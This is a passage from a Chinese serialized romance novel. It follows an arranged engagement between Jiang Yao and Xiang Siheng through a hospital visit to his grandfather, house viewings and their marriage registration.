向司恒:[我已经到了。]
休息室的窗户能看到外街,江窈抬头看过去。
段琪看她的样子,感觉她刚才应该没听仔细听自己说话,她抬手在江窈眼前晃了晃:“窈窈,看什么呢?”
江窈回神看她,对她摇了下手机:“向司恒说他来了。”
段琪惊讶:“你们不是约的五点吗?”
江窈点头:“对,老年人一般喜欢提早。”
段琪虽然觉得向司恒倒也没老到需要配这个称谓,但还是点点头,喃喃:“一般中午十二点的飞机,我妈早上八点就到了......”
江窈看到窗外路边停的车,低头再看手机,问对面的
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人。
江窈:[你开车吗?]
向司恒:[嗯。]
江窈:[现在就要走吗?]
向司恒:[不急。]
工作是开在一个广场旁边,工作室前的马路也临着广场,很僻静,路边有用白色实线画的停车位,所以即使停在这里也不担心交警来催。
车停的位置离工作室不远,向司恒能看到江窈和段琪坐在一起。
江窈想了想,又问:[那你要进来坐吗?]
向司恒:[不用,你可以和朋友再聊一会儿。]
向司恒:[五十走就可以。]
他会到得早,是比较守时,担心路途中有意外情况发生,但这不代表要求对方也按这个时间来。
特别是对于江窈,他会更宽容一点。
向司恒:[你好了跟我说。]
段琪看江窈把手机放下:“你现在不走?”
江窈摇摇头。
段琪:“向司恒不是来了吗?”
“他说不着急,让我可以再和你聊会天。”
外面有个定时闹钟一样的人,江窈也不好意思多聊,五十前的两分钟,准时从工作室出来。
向司恒看到她出门,也拉开车门下来,走过来接她。
快走近,他接过江窈右手的袋子。
江窈看他扫了一眼那个袋子,解释:“给爷爷,还有你爸妈准备的礼物。”
虽然只是向巍安邀请她到家里坐坐,聊聊家常,不是正式的订婚后见父母,但她觉得空手去不太好,所以昨天出门,还是顺便买了一点。
送给向司恒母亲的是一条丝巾,给向司恒父亲准备的是茶叶,给向巍安的是一套茶具。
丝巾是她昨天逛街买的,茶叶和茶具都是拿她二哥江衡晏的。
江衡晏喜欢茶,家里三楼有一个房间,摆放的都是他的茶叶和茶台。
向司恒目光扫过右手的袋子:“嗯。”
江窈往前两步,还是习惯性地落他半个身位,走在他身后。
忽的她听前面人又讲:“上次去你家比较匆忙,只是去接你,没有准备礼品,过几天我会带些礼物,再正式去拜访你的父母。”
正式拜访?
这些东西只是她觉得不能空手去,随便准备的,但向司恒好像理解错了意思,结婚的进程因为他这句话进一步加快。
感觉到她的愣神,前侧的男人转头看过来,他微蹙眉,询问她的意见:“有什么问题吗?”
江窈觉得自己有必要解释清楚。
她示意了一下他手里提的东西:“我这个......也不算正式拜访,只是觉得是去看你爷爷,不能什么都不拿。”
两人站在工作室前的小院里,四周是绿植,脚下是深灰色的石板路。
面前的男人依旧是深色衬衣,站得近了,江窈能闻到他身上淡淡的木质香。
她抬手轻轻碰了碰鼻尖,往后退了半步。
他稍作沉思,平声继续:“但我还是需要正式拜访一下你的父母,既然我们上次谈过了,都愿意接受这段婚姻,我作为晚辈要主动去见见他们,向他们表达我的想法,也接受他们对我们之后领证,婚礼的一些建议。”
9. 10.27薄荷
本来是去家里见人,没想到最后去了医院。
向巍安前段时间才动过手术,这两个月在休养期,中午午休后下楼,在客厅晕倒,把向志华夫妇吓得不轻,连忙把人送到了医院。
向司恒是在路上接到电话后,问了江窈的意见,调转车的方向,直接开向了电话里林玲说的医院地址。
带来的礼物放在后备箱,向司恒带着江窈上楼。
电梯门开,向司恒快步往急救室的方向走去,江窈穿了裙子,不方便,步速慢一点,走在他身后两米的地方。
向志华夫妇还在跟主治医生交流,等在急救室外的是向志华的下属,以及向司恒的堂妹向桉。
“什么情况?”向司恒走近,皱眉询问。
向桉放了手机,转头迎上来:“还是心脏的问题,爷爷年龄大了,上次手术虽然效果很好,但恢复得慢,年纪大的人血压不平稳,就容易发生这样的问题。”
向司恒看向手术室门旁亮着的显示屏:“严重吗?”
向桉:“医生刚出来过一次,说情况还好,就是这次之后,可能要考虑脑血管再做一次手术,如果我们因为爷爷年龄大了,不想让他再做手术,就再商讨保守治疗的问题。”
向司恒“嗯”了一声,随后示意江窈可以坐在靠墙的椅子上。
向桉这时才注意到一起过来的江窈。
“窈窈。”她看向向司恒身后,抬手热情的打招呼。
她只比江窈大三岁,虽然因为家庭的原因,早早就接手母亲的公司,独当一面,但性格并不像向司恒那样正经死板。
江窈轻喘气,也对她稍稍点了下头。
向司恒回身,扫了眼江窈的鞋子,她穿了短靴,有几厘米的鞋跟。
再抬眼时,他对她道:“去椅子上坐着。”
江窈刚没去坐是客气,现在向司恒又提了一遍,刚走过来得急,她鞋跟不舒服,确实有些累了,想了想,她两步走过去坐下。
向桉不清楚江窈今天去家里吃饭的事,左右看了两人一眼:“你们两个在外面约会?”
江窈抬头,再听到向司恒否定的回答后又撇开视线,意料之中,向司恒古板又没情趣。
“不是,”向司恒回答向桉,“爷爷想见江窈,约好了今天带江窈过来见他。”
他语气平平,向桉觉得他的态度太生硬,想了两秒,往后两步,陪江窈一起坐在椅子上。
几分钟后,急救室的门打开,医生从里走出来。
向巍安先前手术,用的是北城心外科最好的医生,这次急救也是,北城人民医院的主任亲自上阵。
医生走过来,拉下口罩,对向司恒和向桉简单讲了一下情况,让他们放心。
“人已经醒了,但老人家还要在里面观察二十分钟,等会儿护士会把他推出来,送到病房,”医生态度温和,“这两天先观察一下,后续怎么治疗我们再商量。”
向司恒点头道谢:“谢谢。”
“没关系,这是我应该做的。”
向桉看向向司恒:“叔叔和婶婶在二楼张医生的办公室,你如果担心,可以过去听一下他们怎么说,我在这里看着爷爷,等会儿他被推出来,我跟着他去病房。”
向桉说完,看到向司恒又看了江窈一眼,她轻搭上江窈的肩再次开口:“你的未婚妻我也帮你看着。”
向桉不清楚向司恒和江窈之间的具体进程,但最近两次来看向巍安,都听他提起过,想着堂哥和这位小嫂子大概婚期将近。
两人看起来都对这个联姻没有太抗拒,这婚最后多半肯定是要结的。
江窈知道兄妹俩现在都担心向巍安的身体状况,所以一直没插话,安安静静地坐着,像个局外人。
此时突然被叫未婚妻,她反应过来是说自己,有点不自在,下意识抬眸看向站在身前的男人。
向司恒正好也落眸看向她,两秒后先一步收回目光,对向桉点点头,表情依旧寡淡:“好。”
十分钟后,向巍安被从急救室推到病房,向志华夫妇以及向司恒也从楼下上来。
江窈跟着向桉站在走廊上,向司恒从电梯出来先看到她,提步越过自己的父母走过来。
向桉听到动静,转头看到自己的哥哥,眸色清亮:“怎么样,我说我会照顾窈窈吧。”
向司恒扫她一眼,表情没什么变化,收回目光看江窈:“如果你不方便,等会儿就等在外面。”
他抬腕看了眼表,再看向江窈:“我尽量十分钟内把事情解决,然后出来先送你回家。”
江窈明白,他大概是觉得他家人都在,又是在医院,不是在家里见面的那种温馨的场合,怕她不自在。
江窈想了下,看到他身后不远处往这侧走的向志华夫妇,低声嘟囔:“不用了,我跟你......一起进去见向爷爷吧,没有什么不方便。”
来都来了,向巍安还在生病,她不吭不响就走,不合规矩,而且让向司恒十分钟内解决完事情,也有点难为他。
听到她这么说,向司恒再次向她确认:“你真的可以?”
向桉就站在两人身边,扫过向司恒的神情,觉得自己刚刚推测的也不太对,她哥看起来也不像完全冷漠。
说话间向志华夫妇已经走近,江窈不想让长辈听到自己和向司恒在讨论走不走的事,心急之下抬手,手指抵了下向司恒的腰,咕哝:“我说了我不走,不要再问了。”
被家里娇惯了,她说话语气不自觉带了点娇嗔,甜甜的,又有点小姑娘似的柔软。
向司恒身边的环境,很少听到有人这样对他说话,他稍怔了下,半秒后才反应过来。
扫了眼她刚抵过自己的手指,顾忌她的面子,没再继续这个话题,转过身迎上已经走近的他的父母。
“江窈跟我一起进去。”他道。
向司恒前几年在国外,和江窈见的次数少,林玲不一样,近些年无论是和北城几家吃饭,还是偶尔和江家往来,都是见过江窈的。
她对江窈印象很好,长得可人,也懂礼貌,至于娇气,小姑娘嘛,娇一点就娇一点,自己儿子让着点就行了。
此时她目光落过去,浅笑着招了下手:“窈窈。”
江窈看林玲叫自己,从向司恒身后走上来,清软的声音:“阿姨。”
叫完她又朝向志华欠了欠身:“叔叔好。”
半分钟后,几人走进病房。
向巍安虽然刚从急救室出来,但已经醒了半个多小时,精神看着还好。
向志华先走上去,皱眉说了一句:“你是真吓人,我刚从书房出来,就看到你倒在客厅。”
父亲和儿子的关系自古都是难题,俩人不对付,向巍安看他一眼,没理他,目光先转向向司恒和向桉:“我
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没事,就是年龄大了,都是老毛病,让你们一个个都来医院。”
说完他又看到站在后面的江窈,一下笑起来,脸上的皱纹都舒展了:“窈窈也来了?”
向司恒一直站在江窈的斜前方,此时往后看了一眼,让开半步,让她走到前面。
江窈看到大家的目光都落在自己身上,一时也有点紧张,抓在包带的手不由自主捏紧,乖巧的低头:“爷爷。”
病床前空间小,江窈离向司恒不过一拳的距离,手肘几乎贴在他的身前。
他垂眸看到她的动作,知道她在紧张,想了想,在向巍安问过她两句后,大家都没有看他们这处时,轻轻拍了拍她的手背:“有不想回答的推给我。”
男人掌心温热,手掌也比江窈的宽大很多,他轻拍过她的手背之后便收手,触感一触即离。
江窈慢了半拍看过去,手背却似乎仍残留着他的温度。
察觉到两人站得很近,她的呼吸收紧一些,比刚刚回答向巍安问题时更紧张了一点。
向司恒看到他愣神,垂首,压低了些声音,询问:“怎么了?”
江窈感觉到鼻前萦绕的木质香气息,紧张感又逼近她,她抬手蹭蹭鼻尖,往后退开半步:“没事。”
她表情淡定,向司恒视线从她脸上巡过,看她的确像是没事,目光收回,回身继续回答向巍安的话。
向巍安说了几句,招手示意江窈:“窈窈,过来坐。”
他说完,又喊向司恒和向桉:“你们两个也来沙发这边坐,都站着干什么。”
单人病床,设施和装潢都好,面积也大,除了床尾处类似客厅的地方外,病床旁也有沙发。
向司恒看到已经落座的江窈,走过去,在她身边坐下。
向司恒坐下后,仍旧保持该有的社交距离,和江窈隔开两拳,两手搭在膝盖上,看向不远处的病床。
江窈看到两人间的空隙。
向巍安先是问了江窈她爷爷的身体情况。
“他挺好的,身体硬朗,最近还在北欧那边度假,不想回来。”
向巍安长叹,感慨:“他这个老头子就是身体好。”
又聊了两句,向巍安又问起他俩的婚事:“你们准备什么时候结婚?”
来之前向司恒就给她打过预防针,说向巍安很心急,一定会提起让他们结婚的事情。
江窈没想好怎么开口,身旁的男人先出声:“我们还在商讨。”
向巍安“嗐”了一声,一脸恨铁不成钢:“有什么好讨论的,你以为是做生意?”
老头子伸手点着向司恒:“人家窈窈这么漂亮,你不喜欢吗?爷爷看你们俩郎才女貌,应该趁早把婚事办了。”
江窈还在这里坐着,林玲怕两个孩子压力大:“爸。”
向巍安聊起这种喜事,精神头比刚刚更是好不少:“我看你们两个相处得也不错,要不然就这两个月,先把证领了?”
江窈其实也没有很抵触,而且她知道向巍安身体不好,才想让他们早点结婚。
但当着这么多人的面讨论这件事,她还是有点不好意思,正犹豫着没说话,听到身边男人开口。
向司恒沉吟两秒:“这个要看江窈的意愿,她年纪还小,我们相处的时间也短,”
说完,他顿了顿,表达自己的想法:“但我这边,是没有问题的。”
10. 10.28薄荷
他没问题?他没什么问题。
江窈瞟了他一眼,他就这么轻轻松松答应结婚了?
但既然他答应了,话题的重点就落到了她身上。
向巍安的视线落过来:“那窈窈呢,窈窈怎么想?”
还没等向巍安再问第二句,向司恒适时打断了自己祖父的话:“我们私底下再商量。”
他回答向巍安的话是为了表达自己的态度,不是为了把江窈架起来,让大家把“矛头”指向她。
他也无意为难江窈这样一个小姑娘。
向巍安刚从急救室出来,还需要休息,没多久,两个小辈先告辞。
向桉的老公来接她,先一步离开,再是向司恒和江窈。
两人从医院的大门出来,江窈穿了小高跟的靴子,腿也没男人的长,慢他几步。
从医院前门的台阶下来,向司恒注意到,停住脚步,转身等她。
等她的脚踏下最后一节台阶,他似是思考过,开口:“你怎么想?”
江窈被他突然的话弄得有点懵,一时没反应过来,仰头看他:“什么?”
她五官精致,睫毛也是真的长,这个角度仰头看他,让他想到那些小姑娘爱玩儿的大眼娃娃。
他沉声:“我祖父说两个月内领证的事。”
“......”
江窈古怪地看他一眼,觉得他这个人特别奇怪——非常冷漠,又非常着急。
男人不清楚她心里的想法,平声继续:“既然我们两个都同意结婚,早结晚结都是结,江向两家现在有两个项目是合作期,早点领证对维系两家的关系,和后续项目进程都有好处。”
他说罢,沉吟两秒,又道:“但这只是我的个人想法,具体怎么样还要看你。”
江窈觉得他特别像那种说了一通大道理,最后说“我只是说说,怎么做你自己决定”,但如果你不按他说的做,他会继续给你讲一通道理的——家长。
向司恒说完,也觉得自己逼得太紧了,抬手轻拍了一下江窈的肩:“你回去再想想,不急。”
“不过我还是建议我们早点结婚。”他又道。
江窈抬起长长的眼睫看他。
就说他像家长。
向巍安的身体确实不如以前,这次晕倒后在医院住了一周,脑血管的问题最后还是没有动手术,但这次回家需要长期吃药,健康情况也要实时监测。
江窈决定得很快,三天后晚上敷面膜的时候给向司恒发消息。
早结晚结都是结,早结对两家都有好处,确实不如尽早把证领了。
她这么晚给他发信息,对面的男人却似乎并不意外。
向司恒:[想好了?]
江窈:[嗯【垂耳兔摊手】]
两秒后,对面又发过来:[不愿意?]
江窈按了按脸上的面膜,从趴着的软塌站起来,她的面膜已经贴够时间了,要揭下来,之后还要用美容仪。
她每晚洗完澡,这些护肤工作就要做一个小时。
她拇指点着键盘,很奇怪向司恒是怎么推断出这三个字的:[【垂耳兔疑问】]
向司恒:[你发的表情包没有笑。]
江窈上划着看两人的聊天记录,她刚发的表情包虽然确实没笑,但很显然,肯定不是不愿意的意思。
算了,老年人肯定平时都不发表情包。
她也不想跟他计较。
江窈:[没有不愿意【微笑】]
她觉得向司恒这样的人可能以为黄豆脸微笑才是表达友好。
几秒后,她在梳妆台前坐下时,屏幕上弹出语音来电,她划开接听,点了免提。
“江窈,”对面的人又是这种沉稳的声线叫她,沉默后疑问,“你对我先前说的话不满意吗?”
“没有。”
向司恒:“那为什么发微笑的表情?”
江窈正对着镜子看脸颊上没吸收的精华,非常惊讶:“你知道是无语的意思?我以为你会以为是友好,才给你发的,我爷爷就以为那是友好的意思。”
“......”对面人默了两秒,声线沉静,“我是比你大七岁,不是五十七岁。”
“哦。”以后不拿他跟自己爷爷比就是了,凶什么。
向司恒打开书房的门,往外走,询问对面:“下周去领证?”
江窈闻言又是一愣,拧精华水的动作顿了顿:“下周就去吗?”
虽然她答应了结婚,但没想到这么快。
男人短暂的沉默,大概也是在思考:“我下周三之后要去趟国外,向华在海外的项目有点问题,我要在那里呆半个月,如果下周不领证,可能要到下个月了。”
拖得越久,越不稳妥,已经决定的事还是应该讲究效率,这是向司恒一贯的行事作风。
江窈想了一会儿:“好吧。”
要领证的事,她今天已经跟詹美琳和江博盛都说过,二老没有阻拦,只是也是问为什么这么快。
“嗯,”对面的人应声,跟她讲下一步的安排,“婚礼安排在两个月后?我找人算了日子,最近的黄道吉日在两个月后的下旬,而且准备婚礼也需要时间。”
婚礼?他怎么都想到婚礼了,而且还找人算了日子。
江窈虽然同意结婚,但她一直是有点懵懵怔怔的状态,不过眼下向司恒这么一句两句安排得好像都没有错。
她放下手里的瓶瓶罐罐:“嗯......好。”
“嗯,还有一件事。”对面又道。
江窈语声温吞:“什么事?”
向司恒:“婚后你可能要搬过来和我一起住。”
江窈的心脏缩在一起,卧室安静,她能听到自己像鼓点一样的心跳声。
她没谈过恋爱,也没和其它男人亲密接触过,忽然听到向司恒这样说,当然会紧张。
她咽了两下嗓,佯装镇定:“好。”
“嗯,”可能是她这句回答之前停顿了太久,向司恒当然听出她的异常,片刻后,缓和嗓音,“不要害怕。”
谁害怕了,死男人,这样说会让她很没面子!
江窈深吸气,左手食指无意识地搓了搓台面:“我才没有害怕,也没有紧张,我是觉得你都三十了还没谈过恋爱,身体会不会有什么隐疾,我很担心我以后的婚姻生活!”
她因为羞恼,不自觉地扬高了语调,都说完了才意识到自己说了什么。
对面再次沉默几秒。
江窈羞到崩溃,正想再开口挽回局面,对面人道:“我有隐疾会去医院。”
向司恒:“一定会治好。”
“.........”
江窈有点暴躁,甚至想把电话挂了,死男人!!
但真的挂电话显得她有点小肚鸡肠,
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毕竟也是她先掩耳盗铃,提高声音的。
不过对面的人貌似没有别的意思,只是单纯因为她的问题解释了这么一句。
随后他声线平平,转了话题:“我周三才出差,在这之前还有五天,我明天先去拜访你的父母,如果你也有时间,看过你的父母之后我们一起去看婚房。”
向司恒:“我经常住在酒店,名下的几个房子装修都比较简单,你看过之后如果有喜欢的先定下来,我让人按你的喜好再重新装修,或者你都不喜欢,我们就再买,再装修。”
他沉声继续:“这些都需要时间,大概一个月可以完成,正好我从纽约回来,可以一起搬进去。”
房间安静,男人的声音从听筒传出,落在她的耳边。
一个月......就要和他一起住了,江窈心里还是有点敲鼓。
她轻轻咳嗓,这次比刚刚掩饰的好一点:“好。”
第二天上午,向司恒来之前,提前给她发了消息。
她今天早上起来时,也告诉了詹美琳和江博盛,所以夫妇两个也知道向司恒要来。
向司恒到之前,詹美琳避开江博盛上来,拉着江窈又问了两句。
虽然这婚约早就定下,但她觉得江窈和向司恒决定领证还是太快,她怕江窈受委屈。
江窈趴在床上,小腿翘起,裙摆从腿部往下滑,露出一双纤细而直的腿,摆弄手机:“也没什么不愿意的,他不是你和爸爸选中的人嘛,你们都喜欢,应该也没什么问题吧......”
江窈说完,蹭过去,脑袋搭在詹美琳的腿上,放软语调:“你们都喜欢他,那我嫁给他你们不是挺开心的,大家都高兴,多好。”
她说话的时候弯起眼睛笑,詹美琳被她逗笑,抬手点了下她的太阳穴:“鬼机灵。”
母女俩还没再说两句,有佣人上来提醒:“向总来了。”
江窈跟着詹美琳下楼,看到已经从门口进来的向司恒。
男人穿修身的深灰色衬衣,衬衣下包裹的身体,能看出隐隐的肌肉。
想到昨天晚上的通话,江窈有些不自在,轻咳一声,撇开视线。
江博盛的确喜欢这个晚辈,听到向司恒过来,从书房出来,已经和他聊了两句,此时看到江窈跟着詹美琳下来,招手叫她过去:“窈窈。”
江窈应了一声,拽起肩膀上滑落的披肩,走过去。
向司恒带来了很多东西,出去他给詹美琳夫妇及江窈的哥哥姐姐准备的东西外,还有向巍安让他带给詹美琳夫妇的礼物——两幅古董字画,清末年间的藏品,价格很难估量。
江窈走到跟前,江博盛正招呼家里的佣人把向司恒带来的东西收进房间,詹美琳也跟过去查看,客厅只剩了向司恒和江窈。
江窈脚下没注意,侧歪了一下,身旁的男人伸手扶住她。
他的右手绅士地扶在她的手肘,宽大的手掌握住她纤细的小臂。
但只一下,待她站稳便收回手,不过两人站得近,江窈抬起的手肘几乎抵在他的腹肌上。
她能感觉到他身体的温热。
她有些不自在,收回手臂,摸了摸刚碰到他身体的那块皮肤,紧接着听到男人在她头顶问:“等会儿跟我去看看房子?”
他就站在她身边,又刻意沉了声线,像在说悄悄话。
江窈摸了摸自己的耳朵,应了一下:“嗯。”
11.10.29薄荷
吃完饭,两人按向司恒的计划去选房子。
一共四套房子,向司恒规划了最优的路线,先去南湖附近看了两套别墅,再是在市中心的,一套是高新区的平层,另一套是顶楼跃层,距离向司恒的公司和江窈的工作室都不远,离江家也近,充分考虑了所有问题。
但四个房子,无一例外都准备了两间卧室。
从最后一个房子出来,江窈忍不住在手机上对段琪吐槽。
江窈:[他一定有隐疾!]
段琪停了几秒才回:[......啊?]
段琪也不知道怎么评价,只是很平和道:[不会吧。]
她也见过向司恒,怎么说呢,是那种长得很好看,而且只穿衬衣就能让人感觉到性张力很强,雄性激素旺盛的男人,应该不会有这方面的问题。
江窈是那种有点高傲的小姑娘,属于“虽然我也没有特别喜欢你,但你摆明了和我划清界限,对我没有一点想法,这样会显得我很没有魅力”,让人非常不开心。
江窈:[那是我很难看吗?]
江窈:[而且我比他小那么多,无论发生什么,也都是他比较赚吧。]
江窈越说越生气:[为什么结婚要分居?]
江窈:[就算要分居也应该是我提出来。]
她要气死了,就算要分居,也应该是他求着跟她睡,而她把卧室门关上,把他赶出去。
段琪两手握着手机,斟酌着安慰:[你不是说他很严肃吗,很可能是他觉得你们没感情,一结婚就住在一起不太好......]
江窈:[那他为什么要急着结婚!!他刚刚还说下周就去领证!!]
他这个人根本没有感情,就会一门心思赶进度。
她要给他起个外号叫“进度男”!!!
江窈还在生气,段琪那面又发过来消息。
段琪紧急敲她:[你哥哥在这里。]
段琪:[他好像看到我跟你发消息,而且他不是知道今天向司恒去你家吗,现在在问我向司恒是不是欺负你了。]
江窈看到段琪发来的消息,嘟囔:“我哥怎么又过去。”
她刚嘀咕完,屏幕弹出语音通话,先是是段琪打来的,但她总感觉像江衡晏用段琪手机打的。
向司恒在开车,前方红灯,正好在减速慢行,他听到铃声,落眸往副驾驶扫了一眼。
江窈嘀嘀咕咕接起来。
江衡晏的声音果然从听筒那侧传来:“你现在和向司恒在一起?”
江窈趴在窗户上,应了一声。
车厢内安静,江衡晏的声音不高不低,从听筒传出,向司恒也能清晰地听到。
“他去家里见完爸妈又带你出去了?”
“对,我们去看房子。”
“什么房子?”
“之后结婚要住的房子。”
江窈回完,江衡晏沉吟两秒,又道:“我听段琪说你不高兴?”
听筒下隐隐传来低而急切的女声,像是在否定什么。
江窈知道段琪不会把自己的事告诉江衡晏,他会这么说应该是自己猜的,但借了这个缘由说起来比较合适。
江窈心里不服气,确实还在气头上,但当着向司恒的面,不太好承认,她沉默着,没说话。
两秒后,江衡晏的声音再次传来:“你把手机给向司恒。”
“嗯?”江窈愣了一下,反应过来,她还背对向司恒趴在窗框上,“他在开车。”
她话音刚落,感觉到车子打了个方向,往路边开去,几秒后,在路侧能停车的位置停下。
她拿着手机转头看过去。
驾驶位的人对她伸出手,示意她把手机递过去:“没事。”
江窈还生着气,看都不想看他,稍撇着嘴,把手机递过去。
向司恒接起电话:“江总。”
“你跟我妹去看房子了?”
“嗯。”
“你是不是惹我妹生气了。”
向司恒看了江窈一眼,她半低头稍撇着唇,情绪不佳。
她和江衡晏的对话他刚刚听得一清二楚。
所以他知道他好像生气了,但不知道是为什么。
片刻后,他收回目光,他们两个差七岁,有代沟,他有时候不清楚她在想什么,也正常。
还没等他回话,江衡晏又出声:“你如果以后对我妹不好,我会让她和你离婚。”
“......”
堂妹向桉结婚时,他好像也对薄轶洲说过这种话,没想到现在现在角色掉换,没想到自己变成被“警告”的位置。
他默了两秒,平稳声线:“我知道。”
江衡晏:“你知道就好,我们家养得起她,也不是非要跟你结婚。”
向司恒忽略江衡晏话中的不友好,两人又聊了两句,电话挂断。
手机重新还给江窈,车开出去时,他问副驾驶的人:“你刚才为什么不高兴?”
江窈哪好意思说自己是因为他要分房睡生气。
反正不睡就不睡,她也不喜欢他。
她拨了拨自己包挂上的穗,下巴微微扬了点:“没有
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不高兴。”
江窈:“没什么,反正就算刚刚不高兴现在也没有了。”
向司恒从车内后视镜扫了她一眼。
她的表情看起来没有刚刚拧巴,而且她说没有应该就是没有,他也不再追问。
二十分钟后,车在江家宅院前停下。
向司恒也从驾驶位下来,送江窈往家的方向走,到门口时,他再次跟她确认时间。
“周一上午八点我来接你?”
民政局九点才开门,这个老顽固又开始做什么都提前半小时了。
但经过这几次,江窈也已经习惯了,她思考了一下八点自己来不来得及收拾,随后点点头。
两人沉默站了一会儿,向司恒又道:“婚戒你喜欢什么样式?我这段时间找人定制,如果你有喜欢的宝石类型也发给我,我让助理着重筛选。”
向司恒:“无论是色泽,硬度,还是成色品质,都会让他专门做出对比表格,拿来给你过目。”
又来了,面前这个人没有一点情/趣。
江窈敷衍答:“无所谓,漂亮,大,贵就行,我要最贵最贵最贵的。”
她本来就是家里宠着长大,结婚当然也要结最好的婚。
“好,”向司恒答应她的要求,“我会给你买最贵的。”
这句落了之后,江窈正打算跟他告别转身回家,身前的男人忽然又出声。
他右手朝上 向她摊开,伸过来:“把你的右手拿过来”
他的手掌很宽,跟她相比,要大很多,手指修长,掌纹稍深。
段琪说的没错,他这个人的确从头到脚都性张力很强。
江窈看了两秒,右手的手指轻轻搓了搓,莫名地心脏重重跳了一下,抬头看他,声线有点软:“干什么?”
向司恒盯了她两秒,握着她的手腕,把她的右手搭在自己掌心:“帮你量一下指围。”
向司恒:“无论是钻戒还是对戒,都会先做三个尺寸的样品,你试过之后再做最终成品,在这之前你有不喜欢的地方都可以修改,改到满意为止。”
他一手托住她的手,另一只手两指捏在她无名指根的位置,丈量尺寸。
他的指腹微有薄茧,摸在她纤细的手指。
江窈垂在身侧的另一只手微微收紧,几秒后他松开她的手指,提着她的手腕,把她的手放回原处。
再接着再次开口,平稳声线:“周一我来接你,希望在这之前你能做好准备。”
江窈仰着头:“什么准备?”
向司恒:“成为我的妻子。”
12.10.31薄荷
周一上午,向司恒如约来接人。
江窈出门时,看到站在车边的男人穿着白衬衣等她,才对今天要去领证有了一点实感。
早上时。
詹美琳比她起得更早,看到她收拾好从楼上下来交代了她几句,又喊她吃早饭。
就连江博盛今天也没有去公司,背着手在书房绕了两趟,又在客厅来来回回了三次终于在她起身往门口走的时候叫住她。
“幺幺。”
幺幺是她的乳名,后来她长大一点,觉得这名字太娇气,已经很少让父母这么叫她。
江博盛走过来,皱纹在时光的加速下好像比前几年更深,他难得收起严肃的脸,皱纹里夹杂了一丝说温和话时的不自在:“爸爸是确实觉得他不错,但他以后对你不好你可要回来告诉爸妈。”
江博盛瞪起眼睛:“就算是离婚,爸妈也支持你,不能让外人欺负我女儿。”
在江博盛脸上少见这种表情,江窈“噗嗤”一下笑出来。
“好啦好啦,”她当时挥挥手就往门口走,“知道啦。”
......
江窈此时站在向司恒面前,收拢起回忆。
江博盛说的话最近她二哥也说过。
她想了想,抬起右手,把手里拎的包举到男人面前,示意他帮自己拎包。
阳光从斜后方射过来,落在两人脚下,驱散了一些清晨的露水汽。
江窈微微仰着下巴,冲面前的男人:“我现在虽然答应跟你领证,但以后过得不高兴我是要离的。”
已经十月,但江窈仍旧穿了件轻薄的裙子。
她抬手过来,袖口往下滑,露出一截纤细的手腕,她皮肤很白,戴了红色的朱砂手链,衬得她皮肤更白。
向司恒的视线从她的手腕处移开,接过她的包。
他觉得她多虑了,即使他不喜欢她,也不会对她不好:“你是我的妻子。”
男人的声音落下来,有一种很宁静的平淡感。
“妻子妻子妻子,你是古人吗?”江窈有点不高兴了。
这个词从昨天说到现在了,他那张冷淡的脸上还是没有什么表情。
她觉得无论把她换成谁,他都会提着她的包站在这里,用这种沉稳严肃的口吻说:“你好,你是我的妻子,我会对你好。”
像个古代机器人。
向司恒不知道她为什么突然生气,但垂眸看了眼表,还是提醒她:“八点二十了,从这里去民政局要半小时,如果再耽搁,可能会错过预约的时间。”
声落,他想了想,又道:“我不清楚你为什么生气,我刚刚只是说实话。”
“.........”江窈不想理他了。
她最后看了他一眼,踩着前几天品牌商才送到家里的小高跟,往副驾驶的方向走。
两秒后,拉开门坐上,再“砰”一下把门甩上。
向司恒瞧了眼右手提着的那个白色提包,几秒后,往前两步,拉开后车门,把包放上去,才重新上了驾驶位。
他忽然也对这段婚姻的后续发展存疑。
小姑娘好像是有点麻烦。
八点五十,准时到民政局。
提前预约过,排队的人少,过去没多久,直接按预约的号码上楼。
混剪,拍照,登记资料,领证,一共没有花费太多时间。
一个小时后,再坐回车上时,向司恒把装有婚检单的牛皮纸袋放在江窈腿面。
第一次领证,江窈觉得新鲜,还在研究手里的红本本,看到腿上刚过来的文件袋,抬头看过去:“干什么?”
向司恒表情寡淡,扫过她一眼,随后平声道:“民政局提供的婚检项目是最基础的,不够多,但也勉强可以证明我的身体没问题。”
江窈想到前段时间通话时质疑过他有隐疾,耳根一时红热。
因为领证,她带来一件白衬衣,现在在她身旁的手提袋里,刚刚拍照的时候才穿过。
现在那件白衬衣已经换下,她身上还是来时的那件薄裙,米白色的披肩拢着她的肩膀和细白的脖颈,她拉起披肩,精致小巧的脸一半埋在披肩里,能看到她的耳尖绯红。
她咽了咽嗓,佯装镇定抓起腿面的文件夹,又听男人补充。
他的语气仍旧平缓:“你如果觉得不满意,等我从国外回来可以再去一趟医院,详细检查。”
江窈很奇怪他说这种话为什么不会脸红,她捏着手里的文件夹,耳朵比刚刚更热,有点受不了,嘀咕:“不用了!这样就可以了。”
说完她捏着牛皮纸袋的手放下,视线撇开,头转向窗外。
向司恒扫了她一眼,她小巧的耳垂还埋在披肩里,粉红色的。
向司恒目光收回,没再讨论这个话题:“嗯。”
-
领证后两天,向司恒要出差去纽约。
周三上午,临走前给她发消息。
向司恒:[醒了吗?]
春困秋乏,最近两天降温,虽然家里的温度长期适宜人居住,但淅淅沥沥的小雨和连绵不绝的阴天让人总是想睡觉。
上午十点,江窈这时候才刚从床上醒来。
她听到床头的手机振动,把真丝眼罩摘掉,把手机拿过来,看到这条消息。
可能是消息发过来有一会儿了,她还没回,她眨眨眼回神,正打算回,屏幕上弹出语音通话。
窗外还在下雨,雨滴斜打在窗户上,划出一条倾斜的轨迹。
她彻底扯了被子坐起来,靠在床头,盯着屏幕看了两眼,才接起来。
向司恒还有十分钟登机,他从休息位起身,往窗边走。
淡淡男声:“江窈?”
他每次都这么叫她,特别像教导主任点名。
江窈不高兴,也回他:“你好呀,向司恒。”
向司恒:.........
他忽略江窈话语里这点不友好,站在窗边,透过巨大的玻璃窗,能看到不远处的跑道上飞机起落。
他平声对对面:“我马上要登机,飞机要在十几个小时后落地,中间可能收不到你的消息。”
江窈长长的睫毛抬了抬:“哦。”
她本来也没想过跟他发消息。
男人不知道是不是听出她这个语气词里的意思,继续道:“过会儿魏明会发给你几份
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设计图,如果有不满意的告诉他,可以继续调。”
江窈半靠在床头,低头看着自己被面的暗纹。
几天前两人看房子时,她对装修确实不太喜欢,冷白灰,不仅颜色少,家具也少,冷冰冰的像个酒店。
她也不是遮遮掩掩的人,看的时候直接说了自己不喜欢的地方,结束之后向司恒安排下去,魏明作为向司恒助理,训练有素,晚上就把粗略的修改方案发了过来。
向司恒那边应该是有专门的设计团队,短短几个小时,虽然不可能拿出来所有修改设计图,但方案给的很完整,把她的要求全部巧妙地融入进去。
